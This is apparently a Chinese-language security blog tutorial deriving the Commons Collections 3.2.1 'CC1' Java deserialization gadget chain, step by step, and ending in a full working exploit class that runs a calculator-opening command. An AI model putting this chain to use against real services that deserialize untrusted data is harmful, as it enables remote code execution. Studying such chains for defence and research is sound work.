环境
使用Java的8u65版本调试该链
下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

mvn版本:
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
以上添加至pom.xml文件中
回顾反序列化的攻击思路
反序列化的一个基本过程,通常我们需要先找到一个危险方法,例如此处找到的是 r.exec() ,然后找到一个调用该危险方法的对象的方法,此处假设对象为 O3 的 abc 方法,然后去找调用了 O3 的 abc 方法的位置(或者是同名函数),例如找到了 O2 的 xxx ,以此类推找到O.aaa等,最终需要找到一个入口,接收任意对象并执行readObject方法的位置。

查找危险方法
该漏洞主要是存在于Transformer接口下

查看一下实现类(快捷键:mac:option+command+B,win:ctrl+alt+B),该漏洞点在其下的InvokerTransformer类下:

在该类的transform方法下,找到了我们需要的链子的重点,一个命令执行的位置,并且其中的输入(方法、值、参数、参数类型)都是我们可控的:

先测试该方法真的能够实现命令执行,通过Invokertransformer执行一个打开计算机的功能尝试一下。查看其中我们需要的几个参数,iMethodName、iParamTypes、input、iArgs

根据需要的参数,传入相应的位置即可:
1 2 3 4 5 6
| public class CC1Test { public static void main(String[] args) throws Exception{ new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(Runtime.getRuntime()); } }
|

解释:
1 2 3 4 5
| new InvokerTransformer( "exec", new Class[]{ String.class }, new Object[]{ "open -a Calculator" } ).transform(Runtime.getRuntime());
|
- input:Runtime.getRuntime() 返回的一个 Runtime 实例对象。这是 transform(input) 的实参。
- iMethodName:”exec” —— 想要在 input 上调用的方法名。
- iParamTypes:new Class[]{ String.class } —— 目标方法的参数类型列表(用于选择正确的重载)。
- iArgs:new Object[]{ “open -a Calculator” } —— 真正要传入 exec 的参数值。
以上为止,就相当于我们找到了最后一步我们需要的危险方法invoke,以及调用了危险方法的类InvokerTransform。接下来就需要往前找,哪里有不同名类调用同名transform方法的地方,也就是之前图中的O2:

梳理攻击链
接下来我们需要去寻找,什么类调用了名为transform的方法,进而能帮助我们的攻击链继续梳理。
最后,在Map库下可以找到TransformedMap类,在其中可以找到很多调用了transform的方法,例如:

举一个例子,例如其中的checkSetValue方法,调用了valueTransformer的transform方法

找到这个类的构造函数看一下valueTransformer是啥东西

传了一个map,两个Trnasformer,由此可以看来,TransformedMap这个类的作用应该是对一个Map中的键值进行一些transform的操作。然后,因为这个构造函数是个protected的方法,因此应该是只在类的内部调用的,可以看一下在哪被调用。
找到在其中的一个静态方法中调用了构造方法

梳理完后,来尝试写一写链子。其中从我们想要到达的checkSetValue函数来看,其中只对valueTransformer进行了操作,因此只需要写valueTransformer即可。然后其中valueTransformer只要赋为前面InvokerTransformer即可,相当于valueTransformer.transform()等价于执行的是InvokerTransformer.transform()。
目前的链子:
1 2 3
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}); HashMap<Object, Object> map = new HashMap<>(); TransformeredMap.decorate(map, null, invokerTransformer);
|
到目前这步,结合前面的源码来看,已经实现了通过decorate方法对TransformedMap的构造函数进行了赋值。但是我们最终目的是要调用checkSetValue方法,然而,这个函数是protected的,因此需要再来看看哪里调用了这个函数

结果如下,可以看到只在一个位置调用了:

可以看到这是个抽象类,也是TransformedMap的一个父类,这个类中的一个MapEntry类的setValue方法调用了checkSetValue方法

Entry就是Map在遍历时,一个键值对就叫一个Entry,那就可以继续写链来遍历Map来触发MapEntry。
其实MapEntry中的setValue,就是Entry中的setValue方法的重写,正常来想,只要我们来遍历被decorate过的Map,就能走到setValue方法,即可调用到MapEntry中的setValue。TransformedMap中没有setValue方法,因此此时调用的是他父类的setValue方法,因此就可以调到上面那张图中MapEntry的setValue方法的位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class CC1Test { public static void main(String[] args) throws Exception{
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue("bbb"); } } }
|
此时这样执行,会报错:

说的是字符串没有exec方法,这是因为在checkSetValue处,是调用valueTransformer.transform(value)

因此我们需要把此处的valueTransformer改为我们要调用的那个对象,以达到正常的payload,其中的transform中的参数应该是想调用的exec方法的类
1 2
| new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(Runtime.getRuntime());
|
因此,payload改为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class CC1Test { public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); } } }
|
成功执行

现在相当于:

同样的方法,再去找哪里的readObject调用了setValue方法,最后找到,在AnnotationInvocationHandler类中的readObject调用了setValue方法


可以看到其中是memberValue参数调用了setValue,上去看一下AnnotationInvocationHandler的构造方法,发现memberValue是我们可控的

并且,因为这个类前面没有写public,一般就是default类型的,那也只有在这个包下才能获取到,因此需要使用反射来获取

1 2 3 4
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhd = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhd.setAccessible(true); Object o = annotationInvocationhd.newInstance(Target.class, transformedMap);
|
其中getDeclaredConstructor是构造器,其中的两个参数是AnnotationInvocationHandler构造函数中两个形参的数据类型,newInstance中的则是初始化的实参。
但是目前有三个问题,第一个问题是在AnnotationInvocationHandler的readObject方法中,setValue中的参数不是我们可控的

第二个问题,前面用到的Runtime的对象r是我们自己生成的,但是因为Runtime没有继承Serialization接口,因此此对象是不能够序列化的


第三个问题:AnnotationInvocationHandler类中的readObject方法中有两个if的条件,我们需要解决

问题二解决:我们现在是需要一个Runtime的实例,但是Class这个类本身是可以序列化的,因此我们需要从Class入手,得到一个Runtime。Runtime中有一个静态方法getRuntime,是用于获取Runtime的

我们可以使用InvokerTransformer前面找到的那个点,来获取Runtime
首先,通过反射Runtime正常获取流程:

改成InvokerTransformer方法
1 2 3
| Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);
|
改写完后,就是一个可以序列化的版本
但是如果按照前面的方法写,需要反复的去嵌套,因此我们可以用ChainedTransformer方法,把要调用的方法全部写进去,做一个递归的调用,把前一个的输出作为后一个输入:
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
|
因此目前可以得到的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public class CC1Test { public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhd = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhd.setAccessible(true); Object o = annotationInvocationhd.newInstance(Override.class, transformedMap);
serialize(o); unserialize("ser.bin"); } }
|
但这其实是理想状态下的exp,目前这样执行肯定是达不到想要的效果的,因为前面说的问题还有没解决的
问题三解决:第一个if,要求memberType不为空。

但是我们之前传入的这个参数type是Override.class,Override中没有成员方法

我们可以把Override改成Target,Target中存在成员变量


对应的,前面传入map的值,key位置的字符串要对应的改为value

第二个if直接可以通过
问题一解决:根据调试,到调用checkSetValue中的transform方法时,此时的value是AnnotationTypeMismatchExceptionProxy类

也就是前面说的AnnotationInvocationHandler类中的readObject处,setValue中的内容是固定的:

此处我们其实是无法使用这个setValue的,因此就需要另辟蹊径。
有一个名为ConstantTransformer的类,其中的transform方法,无论接收什么内容,都返回iConstant

因此,虽然前面的位置我们无法修改,但只要最后那个点调用这个类的transform,就可以从这里入手,把value的值改过来
修改:
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
ConstantTransformer 的特性是无视输入,始终返回构造时保存的常量(这里是 Runtime.class)。因此把它放在链头,就能把任何传进来的原始 value(比如 AnnotationTypeMismatchExceptionProxy)替换成 Runtime.class,后续的 InvokerTransformer 都会以 Runtime.class 作为输入,进而顺利完成 getMethod → invoke → exec 这一系列操作。
最终链(让gpt给加了一些注释):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| public class CC1Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhd = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhd.setAccessible(true);
Object o = annotationInvocationhd.newInstance(Target.class, transformedMap);
serialize(o); unserialize("ser.bin"); }
public static void serialize(Object obj) throws Exception { try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"))) { out.writeObject(obj); } }
public static Object unserialize(String path) throws Exception { try (ObjectInputStream in = new ObjectInputStream(new FileInputStream(path))) { return in.readObject(); } } }
|
小结
此处引用一下Drunkbaby大佬的小结
1 2 3 4 5 6 7 8 9
| 利用链: InvokerTransformer#transform TransformedMap#checkSetValue AbstractInputCheckedMapDecorator#setValue AnnotationInvocationHandler#readObject 使用到的工具类辅助利用链: ConstantTransformer ChainedTransformer HashMap
|